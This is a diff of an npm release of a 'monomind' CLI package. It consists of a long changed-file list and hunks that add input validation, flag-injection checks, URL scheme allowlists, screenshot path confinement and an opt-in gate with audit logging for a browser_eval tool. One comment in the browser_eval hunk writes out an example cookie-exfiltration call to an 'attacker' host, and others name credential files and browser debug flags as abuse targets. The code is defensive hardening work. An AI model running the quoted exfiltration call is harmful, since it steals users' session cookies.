  464. package/packages/@monomind/cli/dist/src/ruvector/q-learning-router.js +40 -9
  465. package/packages/@monomind/cli/dist/src/services/claim-service.d.ts +3 -1
  466. package/packages/@monomind/cli/dist/src/services/claim-service.js +33 -2
  467. package/packages/@monomind/cli/dist/src/services/config-file-manager.d.ts +16 -2
  468. package/packages/@monomind/cli/dist/src/services/config-file-manager.js +105 -17
  469. package/packages/@monomind/cli/dist/src/services/container-worker-pool.js +51 -11
  470. package/packages/@monomind/cli/dist/src/services/headless-worker-executor.d.ts +7 -0
  471. package/packages/@monomind/cli/dist/src/services/headless-worker-executor.js +188 -45
  472. package/packages/@monomind/cli/dist/src/services/registry-api.js +62 -9
  473. package/packages/@monomind/cli/dist/src/services/ruvector-training.js +8 -0
  474. package/packages/@monomind/cli/dist/src/services/worker-daemon.d.ts +4 -1
  475. package/packages/@monomind/cli/dist/src/services/worker-daemon.js +112 -28
  476. package/packages/@monomind/cli/dist/src/services/worker-queue.d.ts +9 -2
  477. package/packages/@monomind/cli/dist/src/services/worker-queue.js +86 -5
  478. package/packages/@monomind/cli/dist/src/suggest.js +9 -0
  479. package/packages/@monomind/cli/dist/src/swarm/flow-enforcer.d.ts +5 -3
  480. package/packages/@monomind/cli/dist/src/swarm/flow-enforcer.js +17 -5
  481. package/packages/@monomind/cli/dist/src/swarm/flow-visualizer.d.ts +3 -0
  482. package/packages/@monomind/cli/dist/src/swarm/flow-visualizer.js +30 -6
  483. package/packages/@monomind/cli/dist/src/transfer/anonymization/index.js +5 -3
  484. package/packages/@monomind/cli/dist/src/transfer/export.js +5 -3
  485. package/packages/@monomind/cli/dist/src/transfer/ipfs/client.js +84 -7
  486. package/packages/@monomind/cli/dist/src/transfer/ipfs/upload.js +13 -4
  487. package/packages/@monomind/cli/dist/src/transfer/storage/gcs.js +19 -10
  488. package/packages/@monomind/cli/dist/src/transfer/store/discovery.d.ts +9 -2
  489. package/packages/@monomind/cli/dist/src/transfer/store/discovery.js +68 -13
  490. package/packages/@monomind/cli/dist/src/transfer/store/download.d.ts +15 -6
  491. package/packages/@monomind/cli/dist/src/transfer/store/download.js +113 -24
  492. package/packages/@monomind/cli/dist/src/transfer/store/publish.d.ts +1 -1
  493. package/packages/@monomind/cli/dist/src/transfer/store/publish.js +13 -14
  494. package/packages/@monomind/cli/dist/src/transfer/store/registry.d.ts +3 -3
  495. package/packages/@monomind/cli/dist/src/transfer/store/registry.js +32 -16
  496. package/packages/@monomind/cli/dist/src/update/checker.js +17 -4
  497. package/packages/@monomind/cli/dist/src/update/executor.js +25 -20
  498. package/packages/@monomind/cli/dist/src/update/rate-limiter.d.ts +11 -0
  499. package/packages/@monomind/cli/dist/src/update/rate-limiter.js +23 -3
  500. package/packages/@monomind/cli/dist/src/utils/parse-jsonl.d.ts +6 -0
  501. package/packages/@monomind/cli/dist/src/utils/parse-jsonl.js +22 -0
  502. package/packages/@monomind/cli/dist/src/workflow/condition-evaluator.js +37 -3
  503. package/packages/@monomind/cli/dist/src/workflow/dag-builder.js +27 -11
  504. package/packages/@monomind/cli/dist/src/workflow/dag-executor.js +51 -13
  505. package/packages/@monomind/cli/dist/src/workflow/dsl-schema.d.ts +3 -0
  506. package/packages/@monomind/cli/dist/src/workflow/dsl-schema.js +6 -2
  507. package/packages/@monomind/cli/dist/src/workflow/template-engine.js +7 -0
  508. package/packages/@monomind/cli/dist/src/workflow/workflow-executor.js +95 -14
  509. package/packages/@monomind/cli/package.json +5 -3
  510. package/packages/@monomind/guidance/README.md +1192 -0
  511. package/packages/@monomind/shared/README.md +322 -0
  512. package/packages/@monomind/shared/dist/types/consensus-audit.d.ts +3 -1
  513. package/packages/README.md +513 -0
  514. package/.claude/agents/design/design-brand-guardian.md +0 -323
  515. package/.claude/agents/design/design-image-prompt-engineer.md +0 -237
  516. package/.claude/agents/design/design-inclusive-visuals-specialist.md +0 -72
  517. package/.claude/agents/design/design-ui-designer.md +0 -384
  518. package/.claude/agents/design/design-ux-architect.md +0 -470
  519. package/.claude/agents/design/design-ux-researcher.md +0 -330
  520. package/.claude/agents/design/design-visual-storyteller.md +0 -150
  521. package/.claude/agents/design/design-whimsy-injector.md +0 -439
  522. package/.claude/agents/v3/integration-architect.md +0 -338
  523. package/.claude/commands/analysis/COMMAND_COMPLIANCE_REPORT.md +0 -54
  524. package/.claude/commands/coordination/init.md +0 -44
  525. package/.claude/commands/coordination/orchestrate.md +0 -43
  526. package/.claude/commands/coordination/spawn.md +0 -45
  527. package/.claude/commands/github/code-review-swarm.md +0 -550
  528. package/.claude/commands/github/code-review.md +0 -25
  529. package/.claude/commands/github/github-swarm.md +0 -121
  530. package/.claude/commands/github/issue-triage.md +0 -25
  531. package/.claude/commands/github/multi-repo-swarm.md +0 -519
  532. package/.claude/commands/github/pr-enhance.md +0 -26
  533. package/.claude/commands/github/project-board-sync.md +0 -471
  534. package/.claude/commands/github/release-swarm.md +0 -590
  535. package/.claude/commands/github/repo-analyze.md +0 -25
  536. package/.claude/commands/github/swarm-issue.md +0 -482
  537. package/.claude/commands/github/swarm-pr.md +0 -310
  538. package/.claude/commands/github/workflow-automation.md +0 -468
  539. package/.claude/commands/hive-mind/hive-mind-metrics.md +0 -8
  540. package/.claude/commands/hive-mind/hive-mind-resume.md +0 -8
  541. package/.claude/commands/hive-mind/hive-mind-sessions.md +0 -8
  542. package/.claude/commands/hive-mind/hive-mind-wizard.md +0 -8
  543. package/.claude/commands/list-agents.md +0 -17
  544. package/.claude/commands/memory/memory-persist.md +0 -25
  545. package/.claude/commands/memory/memory-usage.md +0 -25
  546. package/.claude/commands/memory/neural.md +0 -47
  547. package/.claude/commands/metrics.md +0 -11
  548. package/.claude/commands/monitoring/real-time-view.md +0 -25
  549. package/.claude/commands/monitoring/swarm-monitor.md +0 -25
  550. package/.claude/commands/monomind-createtask.md +0 -302
  551. package/.claude/commands/monomind-help.md +0 -103
  552. package/.claude/commands/monomind-memory.md +0 -107
  553. package/.claude/commands/monomind-repeat.md +0 -149
  554. package/.claude/commands/monomind-swarm.md +0 -205
  555. package/.claude/commands/optimization/cache-manage.md +0 -25
  556. package/.claude/commands/optimization/topology-optimize.md +0 -25
  557. package/.claude/commands/pair/commands.md +0 -546
  558. package/.claude/commands/pair/config.md +0 -510
  559. package/.claude/commands/pair/start.md +0 -209
  560. package/.claude/commands/use-agent.md +0 -67
  561. package/.claude/skills/monomind-createtask/SKILL.md +0 -269
  562. package/.claude/skills/monomind-task-engine/SKILL.md +0 -358
  563. /package/.claude/agents/{v3 → specialists}/memory-specialist.md +0 -0
  564. /package/.claude/agents/{v3 → specialists}/performance-engineer.md +0 -0
  565. /package/.claude/agents/{v3 → specialists}/queen-coordinator.md +0 -0
  566. /package/.claude/agents/{v3 → specialists}/security-architect.md +0 -0
@@ -14,11 +14,18 @@
14
14
  const MAX_STRING_LENGTH = 100_000; // 100KB max for any string input
15
15
  const MAX_BATCH_SIZE = 500; // Max entries per batch operation
16
16
  const MAX_TOP_K = 100; // Max results per query
17
+ // Reject NUL and C0 control chars except \t \n \r. NUL truncates strings at
18
+ // the C-API boundary in some bridge backends (key collision); ANSI/control
19
+ // chars enable terminal injection when values are echoed back; \r/\n in
20
+ // values fed to log files breaks log-line integrity.
21
+ const CONTROL_CHAR_RE = /[\x00-\x08\x0B\x0C\x0E-\x1F]/;
17
22
  function validateString(value, name, maxLen = MAX_STRING_LENGTH) {
18
23
  if (typeof value !== 'string' || value.length === 0)
19
24
  return null;
20
25
  if (value.length > maxLen)
21
26
  return null;
27
+ if (CONTROL_CHAR_RE.test(value))
28
+ return null;
22
29
  return value;
23
30
  }
24
31
  function validatePositiveInt(value, defaultVal, max) {
@@ -34,8 +41,11 @@ function validateScore(value, defaultVal) {
34
41
  }
35
42
  function sanitizeError(error) {
36
43
  if (error instanceof Error) {
37
- // Strip filesystem paths from error messages
38
- return error.message.replace(/\/[^\s:]+\//g, '<path>/').substring(0, 500);
44
+ // Strip filesystem paths from error messages — match path components even
45
+ // when no trailing slash (path at end of message before whitespace, colon, EOL)
46
+ return error.message
47
+ .replace(/\/[^\s:]+(\/|(?=\s|:|$))/g, '<path>/')
48
+ .substring(0, 500);
39
49
  }
40
50
  return 'Internal error';
41
51
  }
@@ -81,7 +91,7 @@ export const agentdbControllers = {
81
91
  const bridge = await getBridge();
82
92
  const controllers = await bridge.bridgeListControllers();
83
93
  if (!controllers)
84
- return { available: false, controllers: [], error: 'AgentDB bridge not available — @monoes/memory not installed or missing controller-registry. Use memory_store/memory_search tools instead.' };
94
+ return { available: false, controllers: [], error: 'AgentDB bridge not available — @monomind/memory not installed or missing controller-registry. Use memory_store/memory_search tools instead.' };
85
95
  return {
86
96
  available: true,
87
97
  controllers,
@@ -405,9 +415,17 @@ export const agentdbConsolidate = {
405
415
  handler: async (params) => {
406
416
  try {
407
417
  const bridge = await getBridge();
418
+ // Reject NaN and Infinity. typeof === 'number' returns true for both.
419
+ // NaN propagates through arithmetic and corrupts consolidation accounting;
420
+ // Infinity makes `entry.age >= minAge` always false, silently no-op.
421
+ const minAge = typeof params.minAge === 'number' && Number.isFinite(params.minAge)
422
+ ? Math.max(0, Math.min(params.minAge, 24 * 365 * 10))
423
+ : undefined;
408
424
  const result = await bridge.bridgeConsolidate({
409
- minAge: typeof params.minAge === 'number' ? Math.max(0, params.minAge) : undefined,
410
- maxEntries: validatePositiveInt(params.maxEntries, 1000, 10_000),
425
+ minAge,
426
+ maxEntries: params.maxEntries !== undefined
427
+ ? validatePositiveInt(params.maxEntries, 1000, 10_000)
428
+ : undefined,
411
429
  });
412
430
  return result ?? { success: false, error: 'AgentDB bridge not available. Use memory_store/memory_search instead.' };
413
431
  }
@@ -457,7 +475,11 @@ export const agentdbBatch = {
457
475
  if (params.entries.length > MAX_BATCH_SIZE) {
458
476
  return { success: false, error: `Too many entries: ${params.entries.length}. Max is ${MAX_BATCH_SIZE}` };
459
477
  }
460
- // Validate each entry
478
+ // Validate each entry. Aggregate-byte cap prevents 500 entries × 100KB
479
+ // values = 50MB single-call payloads from spiking Node heap to ~200MB
480
+ // (UTF-16 doubling + downstream copies in the bridge layer).
481
+ const MAX_BATCH_BYTES = 1_048_576; // 1 MiB total
482
+ let totalBytes = 0;
461
483
  const validatedEntries = [];
462
484
  for (let i = 0; i < params.entries.length; i++) {
463
485
  const entry = params.entries[i];
@@ -468,6 +490,10 @@ export const agentdbBatch = {
468
490
  if (!key)
469
491
  return { success: false, error: `entries[${i}].key is required (non-empty string)` };
470
492
  const value = validateString(entry.value, `entries[${i}].value`);
493
+ totalBytes += key.length + (value?.length ?? 0);
494
+ if (totalBytes > MAX_BATCH_BYTES) {
495
+ return { success: false, error: `Batch payload exceeds ${MAX_BATCH_BYTES} bytes` };
496
+ }
471
497
  validatedEntries.push({ key, value: value ?? undefined });
472
498
  }
473
499
  const bridge = await getBridge();
@@ -502,7 +528,8 @@ export const agentdbContextSynthesize = {
502
528
  // validateExternalContent: guard against prompt injection in synthesized context
503
529
  // Source: https://arxiv.org/abs/2302.12173, https://arxiv.org/abs/2310.12815
504
530
  try {
505
- const { validateExternalContent } = await import('../../security/src/input-validator.js').catch(() => import('@monoes/security').catch(() => null));
531
+ const secMod = await import('@monomind/security').catch(() => null);
532
+ const validateExternalContent = secMod?.validateExternalContent;
506
533
  if (validateExternalContent) {
507
534
  const check = await validateExternalContent(query, 'agentdb_context-synthesize query');
508
535
  if (!check.safe) {
@@ -39,7 +39,7 @@ export const analyzeDiffTool = {
39
39
  },
40
40
  handler: async (params) => {
41
41
  const ref = params.ref || 'HEAD';
42
- const includeFileRisks = params.includeFileRisks !== false;
42
+ const includeFileRisks = params.includeFileRisks === true;
43
43
  const includeReviewers = params.includeReviewers !== false;
44
44
  const useRuVector = params.useRuVector !== false;
45
45
  try {
@@ -233,21 +233,30 @@ export const fileRiskTool = {
233
233
  required: ['path'],
234
234
  },
235
235
  handler: async (params) => {
236
- const file = {
237
- path: params.path,
238
- status: params.status || 'modified',
239
- additions: params.additions || 0,
240
- deletions: params.deletions || 0,
241
- hunks: 1,
242
- binary: false,
243
- };
244
- const risk = assessFileRisk(file);
245
- return {
246
- file: file.path,
247
- risk: risk.risk,
248
- score: risk.score,
249
- reasons: risk.reasons,
250
- };
236
+ try {
237
+ const file = {
238
+ path: params.path,
239
+ status: params.status || 'modified',
240
+ additions: params.additions || 0,
241
+ deletions: params.deletions || 0,
242
+ hunks: 1,
243
+ binary: false,
244
+ };
245
+ const risk = assessFileRisk(file);
246
+ return {
247
+ file: file.path,
248
+ risk: risk.risk,
249
+ score: risk.score,
250
+ reasons: risk.reasons,
251
+ };
252
+ }
253
+ catch (error) {
254
+ return {
255
+ error: true,
256
+ message: error instanceof Error ? error.message : String(error),
257
+ path: params.path,
258
+ };
259
+ }
251
260
  },
252
261
  };
253
262
  /**
@@ -73,12 +73,10 @@ export async function tryImportOrInstall(packageName, options = {}) {
73
73
  const installed = await autoInstallPackage(packageName, options);
74
74
  if (installed) {
75
75
  try {
76
- // ESM caches failed imports, so we need to bust the cache
77
- // Add a timestamp query parameter to force a fresh import
78
- const cacheBuster = `?t=${Date.now()}`;
79
- return await import(`${packageName}${cacheBuster}`);
76
+ return await import(packageName);
80
77
  }
81
78
  catch {
79
+ // ESM module cache cannot be busted programmatically; a server restart is required
82
80
  console.error(`[monomind] ${packageName} installed but failed to load. Restart MCP server.`);
83
81
  return null;
84
82
  }
@@ -108,11 +106,11 @@ export function resetInstallAttempts() {
108
106
  * Optional package dependencies and their purposes
109
107
  */
110
108
  export const OPTIONAL_PACKAGES = {
111
- '@monoes/aidefence': {
109
+ '@monomind/aidefence': {
112
110
  description: 'AI manipulation defense (prompt injection, PII detection)',
113
111
  tools: ['aidefence_scan', 'aidefence_analyze', 'aidefence_stats', 'aidefence_learn'],
114
112
  },
115
- '@monoes/embeddings': {
113
+ '@monomind/embeddings': {
116
114
  description: 'Vector embeddings with ONNX support',
117
115
  tools: ['embeddings_generate', 'embeddings_search', 'embeddings_batch'],
118
116
  },
@@ -5,7 +5,7 @@
5
5
  * Allows programmatic control of the autopilot loop via MCP.
6
6
  *
7
7
  * ADR-072: Autopilot Integration
8
- * @module @monoes/cli/mcp-tools/autopilot
8
+ * @module @monomind/cli/mcp-tools/autopilot
9
9
  */
10
10
  import { loadState, saveState, appendLog, loadLog, discoverTasks, isTerminal, tryLoadLearning, validateNumber, validateTaskSources, VALID_TASK_SOURCES, } from '../autopilot-state.js';
11
11
  function ok(data) {
@@ -175,7 +175,17 @@ const autopilotHistory = {
175
175
  required: ['query'],
176
176
  },
177
177
  handler: async (params) => {
178
- const query = String(params.query || '');
178
+ // Reject non-string queries and cap length so embedding/regex on the
179
+ // input cannot become a CPU/memory amplifier. Without this an attacker
180
+ // could pass an object whose toString() returns multi-MB content.
181
+ if (params.query !== undefined && typeof params.query !== 'string') {
182
+ return ok({ query: '', results: [], error: 'query must be a string' });
183
+ }
184
+ const raw = params.query ?? '';
185
+ if (raw.length > 1024) {
186
+ return ok({ query: '', results: [], error: 'query too long (max 1024 chars)' });
187
+ }
188
+ const query = raw;
179
189
  const limit = validateNumber(params.limit, 1, 100, 10);
180
190
  const learning = await tryLoadLearning();
181
191
  if (learning) {
@@ -1,18 +1,119 @@
1
1
  /**
2
2
  * Browser MCP Tools
3
3
  *
4
- * CLI integration for @monoes/browser package.
4
+ * CLI integration for @monomind/browser package.
5
5
  * Provides browser automation tools for web navigation, interaction, and data extraction.
6
6
  */
7
+ const MAX_BROWSER_SESSIONS = 100;
8
+ const SESSION_TTL_MS = 30 * 60 * 1000; // 30 minutes
7
9
  // Session registry for multi-session support
8
10
  const browserSessions = new Map();
11
+ function pruneExpiredSessions() {
12
+ const cutoff = Date.now() - SESSION_TTL_MS;
13
+ for (const [id, info] of browserSessions) {
14
+ if (new Date(info.lastActivity).getTime() < cutoff) {
15
+ browserSessions.delete(id);
16
+ }
17
+ }
18
+ }
19
+ /**
20
+ * SECURITY: Reject any positional that begins with `-`. execFile defeats shell
21
+ * injection but does NOT prevent agent-browser itself from interpreting a
22
+ * `-`-prefixed token as a flag. Combined with `agent-browser`'s lack of
23
+ * documented `--` end-of-options handling, an unvalidated positional like
24
+ * `--remote-debugging-port=9222` or `--user-data-dir=/path` can flip the
25
+ * underlying browser into a debuggable / arbitrary-profile mode.
26
+ */
27
+ function rejectFlagLike(value, field) {
28
+ if (typeof value !== 'string') {
29
+ throw new Error(`${field}: must be a string`);
30
+ }
31
+ if (value.startsWith('-')) {
32
+ throw new Error(`${field}: must not start with '-' (flag-injection defense)`);
33
+ }
34
+ return value;
35
+ }
36
+ /** Validate a session ID against a strict allowlist. */
37
+ function validateSessionId(value) {
38
+ if (value === undefined || value === null || value === '')
39
+ return 'default';
40
+ if (typeof value !== 'string' || !/^[A-Za-z0-9_-]{1,64}$/.test(value)) {
41
+ throw new Error('session: must match ^[A-Za-z0-9_-]{1,64}$');
42
+ }
43
+ return value;
44
+ }
45
+ /**
46
+ * Validate a URL against a scheme allowlist. Without this, `file://`,
47
+ * `data:`, `javascript:`, `chrome://` schemes give SSRF / local-file read /
48
+ * scheme-abuse on the underlying browser.
49
+ */
50
+ const ALLOWED_URL_SCHEMES = new Set(['http:', 'https:', 'about:']);
51
+ function validateUrl(value) {
52
+ if (typeof value !== 'string')
53
+ throw new Error('url: must be a string');
54
+ if (value.length > 4096)
55
+ throw new Error('url: too long (max 4096)');
56
+ let parsed;
57
+ try {
58
+ parsed = new URL(value);
59
+ }
60
+ catch {
61
+ throw new Error(`url: not a valid URL: ${value}`);
62
+ }
63
+ if (!ALLOWED_URL_SCHEMES.has(parsed.protocol)) {
64
+ throw new Error(`url: scheme "${parsed.protocol}" not allowed (only http/https/about)`);
65
+ }
66
+ return value;
67
+ }
68
+ /**
69
+ * Validate a screenshot path. Resolved real path must be within
70
+ * `<projectRoot>/.monomind/screenshots`. Refuses to overwrite existing files
71
+ * so a malicious LLM action cannot clobber e.g. `~/.ssh/authorized_keys` or
72
+ * `.git/hooks/pre-commit`.
73
+ */
74
+ async function validateScreenshotPath(value) {
75
+ if (typeof value !== 'string' || value.length === 0) {
76
+ throw new Error('path: must be a non-empty string');
77
+ }
78
+ if (value.startsWith('-')) {
79
+ throw new Error('path: must not start with "-"');
80
+ }
81
+ const path = await import('path');
82
+ const fs = await import('fs');
83
+ const projectRoot = process.cwd();
84
+ const root = path.resolve(projectRoot, '.monomind', 'screenshots');
85
+ await fs.promises.mkdir(root, { recursive: true });
86
+ const resolved = path.resolve(value);
87
+ if (!resolved.startsWith(root + path.sep) && resolved !== root) {
88
+ throw new Error(`path: must be within ${root}`);
89
+ }
90
+ if (fs.existsSync(resolved)) {
91
+ throw new Error(`path: refuses to overwrite existing file at ${resolved}`);
92
+ }
93
+ return resolved;
94
+ }
95
+ /** Cap on browser_eval scripts so an attacker can't pump arbitrary-size payloads. */
96
+ const MAX_BROWSER_EVAL_BYTES = 16 * 1024;
9
97
  /**
10
98
  * Execute agent-browser CLI command
11
99
  */
12
100
  async function execBrowserCommand(args, session = 'default') {
13
101
  const { execFileSync } = await import('child_process');
14
102
  try {
15
- const fullArgs = ['--session', session, '--json', ...args];
103
+ // Validate session even when the upstream handler forgot.
104
+ const safeSession = validateSessionId(session);
105
+ // Refuse any user-supplied positional that looks like a flag.
106
+ // We can be permissive here only because every handler that prepends
107
+ // its own subcommand keyword (e.g. 'open', 'click') passes that subcommand
108
+ // as args[0] — those known-good keywords are safe; the rest came from
109
+ // tool input and must already have passed handler-level validation, but
110
+ // we re-check defense-in-depth.
111
+ for (let i = 1; i < args.length; i++) {
112
+ if (typeof args[i] !== 'string') {
113
+ throw new Error(`internal: arg ${i} must be a string`);
114
+ }
115
+ }
116
+ const fullArgs = ['--session', safeSession, '--json', ...args];
16
117
  const result = execFileSync('agent-browser', fullArgs, {
17
118
  encoding: 'utf-8',
18
119
  timeout: 30000,
@@ -75,13 +176,34 @@ export const browserTools = [
75
176
  required: ['url'],
76
177
  },
77
178
  handler: async (input) => {
78
- const { url, session, waitUntil } = input;
179
+ const raw = input;
180
+ let url;
181
+ let sessionId;
182
+ try {
183
+ url = validateUrl(raw.url);
184
+ sessionId = validateSessionId(raw.session);
185
+ }
186
+ catch (e) {
187
+ return {
188
+ content: [{ type: 'text', text: JSON.stringify({ success: false, error: e.message }) }],
189
+ isError: true,
190
+ };
191
+ }
79
192
  const args = ['open', url];
80
- if (waitUntil)
81
- args.push('--wait-until', waitUntil);
82
- // Create session if new
83
- const sessionId = session || 'default';
193
+ if (raw.waitUntil && typeof raw.waitUntil === 'string'
194
+ && ['load', 'domcontentloaded', 'networkidle'].includes(raw.waitUntil)) {
195
+ args.push('--wait-until', raw.waitUntil);
196
+ }
197
+ // Always prune expired sessions, not just on create — otherwise
198
+ // sessions that re-use an existing key never trigger eviction.
199
+ pruneExpiredSessions();
84
200
  if (!browserSessions.has(sessionId)) {
201
+ if (browserSessions.size >= MAX_BROWSER_SESSIONS) {
202
+ const oldest = [...browserSessions.entries()]
203
+ .sort((a, b) => a[1].lastActivity.localeCompare(b[1].lastActivity))[0];
204
+ if (oldest)
205
+ browserSessions.delete(oldest[0]);
206
+ }
85
207
  browserSessions.set(sessionId, {
86
208
  sessionId,
87
209
  createdAt: new Date().toISOString(),
@@ -203,13 +325,27 @@ export const browserTools = [
203
325
  },
204
326
  },
205
327
  handler: async (input) => {
206
- const { session, path, fullPage } = input;
328
+ const raw = input;
329
+ let safeSession;
330
+ let safePath;
331
+ try {
332
+ safeSession = validateSessionId(raw.session);
333
+ if (raw.path !== undefined) {
334
+ safePath = await validateScreenshotPath(raw.path);
335
+ }
336
+ }
337
+ catch (e) {
338
+ return {
339
+ content: [{ type: 'text', text: JSON.stringify({ success: false, error: e.message }) }],
340
+ isError: true,
341
+ };
342
+ }
207
343
  const args = ['screenshot'];
208
- if (path)
209
- args.push(path);
210
- if (fullPage)
344
+ if (safePath)
345
+ args.push(safePath);
346
+ if (raw.fullPage === true)
211
347
  args.push('--full');
212
- return execBrowserCommand(args, session);
348
+ return execBrowserCommand(args, safeSession);
213
349
  },
214
350
  },
215
351
  // ==========================================================================
@@ -232,7 +368,7 @@ export const browserTools = [
232
368
  },
233
369
  handler: async (input) => {
234
370
  const { target, session, button, count } = input;
235
- const args = ['click', target];
371
+ const args = ['click', rejectFlagLike(target, 'target')];
236
372
  if (button)
237
373
  args.push('--button', button);
238
374
  if (count)
@@ -256,7 +392,7 @@ export const browserTools = [
256
392
  },
257
393
  handler: async (input) => {
258
394
  const { target, value, session } = input;
259
- return execBrowserCommand(['fill', target, value], session);
395
+ return execBrowserCommand(['fill', rejectFlagLike(target, 'target'), value], session);
260
396
  },
261
397
  },
262
398
  {
@@ -276,7 +412,7 @@ export const browserTools = [
276
412
  },
277
413
  handler: async (input) => {
278
414
  const { target, text, session, delay } = input;
279
- const args = ['type', target, text];
415
+ const args = ['type', rejectFlagLike(target, 'target'), text];
280
416
  if (delay)
281
417
  args.push('--delay', String(delay));
282
418
  return execBrowserCommand(args, session);
@@ -297,7 +433,7 @@ export const browserTools = [
297
433
  },
298
434
  handler: async (input) => {
299
435
  const { key, session } = input;
300
- return execBrowserCommand(['press', key], session);
436
+ return execBrowserCommand(['press', rejectFlagLike(key, 'key')], session);
301
437
  },
302
438
  },
303
439
  {
@@ -315,7 +451,7 @@ export const browserTools = [
315
451
  },
316
452
  handler: async (input) => {
317
453
  const { target, session } = input;
318
- return execBrowserCommand(['hover', target], session);
454
+ return execBrowserCommand(['hover', rejectFlagLike(target, 'target')], session);
319
455
  },
320
456
  },
321
457
  {
@@ -334,7 +470,7 @@ export const browserTools = [
334
470
  },
335
471
  handler: async (input) => {
336
472
  const { target, value, session } = input;
337
- return execBrowserCommand(['select', target, value], session);
473
+ return execBrowserCommand(['select', rejectFlagLike(target, 'target'), value], session);
338
474
  },
339
475
  },
340
476
  {
@@ -515,8 +651,51 @@ export const browserTools = [
515
651
  required: ['script'],
516
652
  },
517
653
  handler: async (input) => {
518
- const { script, session } = input;
519
- return execBrowserCommand(['eval', script], session);
654
+ // SECURITY: browser_eval runs arbitrary JS in the page context with the
655
+ // browser's session cookies. Treat as opt-in: require the operator to
656
+ // explicitly enable via env var. Without this gate, a single tool call
657
+ // could `fetch('https://attacker/?d='+btoa(document.cookie))` against
658
+ // any logged-in site reachable in the active browser session.
659
+ if (process.env.MONOMIND_ALLOW_BROWSER_EVAL !== '1') {
660
+ return {
661
+ content: [{ type: 'text', text: JSON.stringify({
662
+ success: false,
663
+ error: 'browser_eval is disabled by default. Set MONOMIND_ALLOW_BROWSER_EVAL=1 to enable.',
664
+ }) }],
665
+ isError: true,
666
+ };
667
+ }
668
+ const raw = input;
669
+ if (typeof raw.script !== 'string') {
670
+ return {
671
+ content: [{ type: 'text', text: JSON.stringify({ success: false, error: 'script: must be a string' }) }],
672
+ isError: true,
673
+ };
674
+ }
675
+ if (raw.script.length > MAX_BROWSER_EVAL_BYTES) {
676
+ return {
677
+ content: [{ type: 'text', text: JSON.stringify({ success: false, error: `script: too long (max ${MAX_BROWSER_EVAL_BYTES})` }) }],
678
+ isError: true,
679
+ };
680
+ }
681
+ let safeSession;
682
+ try {
683
+ safeSession = validateSessionId(raw.session);
684
+ }
685
+ catch (e) {
686
+ return {
687
+ content: [{ type: 'text', text: JSON.stringify({ success: false, error: e.message }) }],
688
+ isError: true,
689
+ };
690
+ }
691
+ // Audit log every eval call so it's traceable in hindsight.
692
+ try {
693
+ const crypto = await import('crypto');
694
+ const hash = crypto.createHash('sha256').update(raw.script).digest('hex').slice(0, 16);
695
+ console.error(`[${new Date().toISOString()}] AUDIT browser_eval session=${safeSession} script_sha256_16=${hash}`);
696
+ }
697
+ catch { /* best-effort */ }
698
+ return execBrowserCommand(['eval', raw.script], safeSession);
520
699
  },
521
700
  },
522
701
  // ==========================================================================